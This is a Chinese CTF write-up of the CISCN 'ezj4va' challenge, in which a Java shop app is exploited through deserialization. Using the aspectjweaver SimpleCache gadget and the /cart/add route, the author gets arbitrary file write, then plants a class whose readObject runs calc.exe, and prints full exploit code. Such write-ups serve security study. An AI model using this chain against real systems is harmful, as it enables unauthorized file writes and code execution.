参考文章:
https://forum.butian.net/share/337
https://www.anquanke.com/post/id/249651
0x01 环境搭建
访问robots.txt之后下载www.zip得到项目源码,用idea打开文件夹
然后配maven和tomcat就行,注意最后需要用ciscn.fina1.ezj4va.launch.Main
中的主方法启动
0x02 审计
反序列化点
看一下给的依赖:
下面构造链子
链子的后半部分可以用ysoserial中的aspectjweaver
链子,完成任意文件写入,我们可以参照ysoserial中的写法
1 2 3
| SimpleCache$StorableCachingMap.put() SimpleCache$StorableCachingMap.writeToPath() FileOutputStream.write()
|
从maven repo上下源码,定位到put方法那里
可以看到第一个参数是string,第二个是bytes
因此我们通过控制put方法的参数就能写入任意数据,注意要写入的数据为byte数组即可。
回到源码,找到CartServiceImpl#addToCart方法,其中对可控变量调用了put
其中key和entry.getValue().add(oldPrice)是可控的
cart为他给出的可反序列化的类。
而在ciscn.fina1.ezj4va.controller.CartController#add
方法中则调用了这个方法
可以直接通过路由"/cart/add"
访问到这个方法
0x03 编写poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51
| package com.poc;
import ciscn.fina1.ezj4va.domain.Cart; import ciscn.fina1.ezj4va.utils.Deserializer; import ciscn.fina1.ezj4va.utils.Serializer;
import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.util.HashMap; import java.util.Map;
public class Exp { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException { System.out.println(getSkus()); System.out.println(getOldCart()); }
public static String getSkus() throws NoSuchFieldException, IOException, IllegalAccessException { Cart cart = new Cart(); Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe"); skuDescribe.setAccessible(true); HashMap map = new HashMap(); String inputStr = "test123"; String filename = "test"; map.put(filename,inputStr.getBytes()); skuDescribe.set(cart,map); String serialize = Serializer.serialize(cart); return(serialize); }
public static String getOldCart() throws NoSuchFieldException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Cart cart = new Cart(); Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe"); skuDescribe.setAccessible(true);
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);
Object o = constructor.newInstance("C:\\code\\timu\\ezj4va\\",12); cart.setSkuDescribe((Map<String, Object>) o); String cartCookie = Serializer.serialize(cart);
Deserializer.deserialize(cartCookie); return cartCookie; } }
|
测试可以正常写入数据
0x04 写入到rce
由于这是个加固题,所以我们对自己的整个服务器位置路径都很清楚,因此写入文件的路径问题就得到了解决。
跟w4nder👴👴学的姿势,通过写入一个恶意的class然后加载它,好骚好骚
calc.java
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| package ciscn.fina1.ezj4va;
import java.io.IOException; import java.io.ObjectInputStream; import java.io.Serializable;
public class calc implements Serializable { public calc() { }
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException { System.out.println("Serializable readObject"); Runtime.getRuntime().exec("calc.exe"); } }
|
写入classes目录下,直接加载就行
本机测试:
远程:
这个报错绕不过去,更改了jdk版本和他相同也不行
0x05 总结
链子不难,攻击过程没搞完,加固修改uid
poc:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81
| package com.poc;
import ciscn.fina1.ezj4va.calc; import ciscn.fina1.ezj4va.domain.Cart; import ciscn.fina1.ezj4va.utils.Deserializer; import ciscn.fina1.ezj4va.utils.Serializer;
import java.io.FileInputStream; import java.io.FileNotFoundException; import java.io.IOException; import java.lang.reflect.Constructor; import java.lang.reflect.Field; import java.lang.reflect.InvocationTargetException; import java.nio.charset.StandardCharsets; import java.util.HashMap; import java.util.Map;
public class Exp { public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException, InvocationTargetException, InstantiationException { System.out.println(getSkus()); System.out.println(getOldCart()); System.out.println(getCalc()); }
public static String getSkus() throws NoSuchFieldException, IOException, IllegalAccessException { Cart cart = new Cart(); Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe"); skuDescribe.setAccessible(true); HashMap map = new HashMap(); new calc(); String inputStr = readFile("C:\\code\\timu\\ezj4va\\target\\classes\\ciscn\\fina1\\ezj4va\\calc.class"); String filename = "calc.class"; map.put(filename,inputStr.getBytes(StandardCharsets.UTF_8)); skuDescribe.set(cart,map); String serialize = Serializer.serialize(cart); return(serialize); }
public static String getOldCart() throws NoSuchFieldException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException, IOException { Cart cart = new Cart(); Field skuDescribe = cart.getClass().getDeclaredField("skuDescribe"); skuDescribe.setAccessible(true);
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap"); Constructor constructor = clazz.getDeclaredConstructors()[0]; constructor.setAccessible(true);
Object o = constructor.newInstance("/app/target/classes/ciscn/fina1/ezj4va/",12); cart.setSkuDescribe((Map<String, Object>) o); String cartCookie = Serializer.serialize(cart);
Deserializer.deserialize(cartCookie); return cartCookie; }
public static String readFile(String filePath) throws IOException { FileInputStream fis = new FileInputStream(filePath); int size = fis.available(); System.out.println(size); byte[] array = new byte[size]; fis.read(array); String result = new String(array); result = result.replaceAll("\r|\n", ""); fis.close(); return result; }
public static String getCalc() throws IOException, ClassNotFoundException, InvocationTargetException, InstantiationException, IllegalAccessException { calc calc = new calc(); String serialize = Serializer.serialize(calc); return serialize; } }
|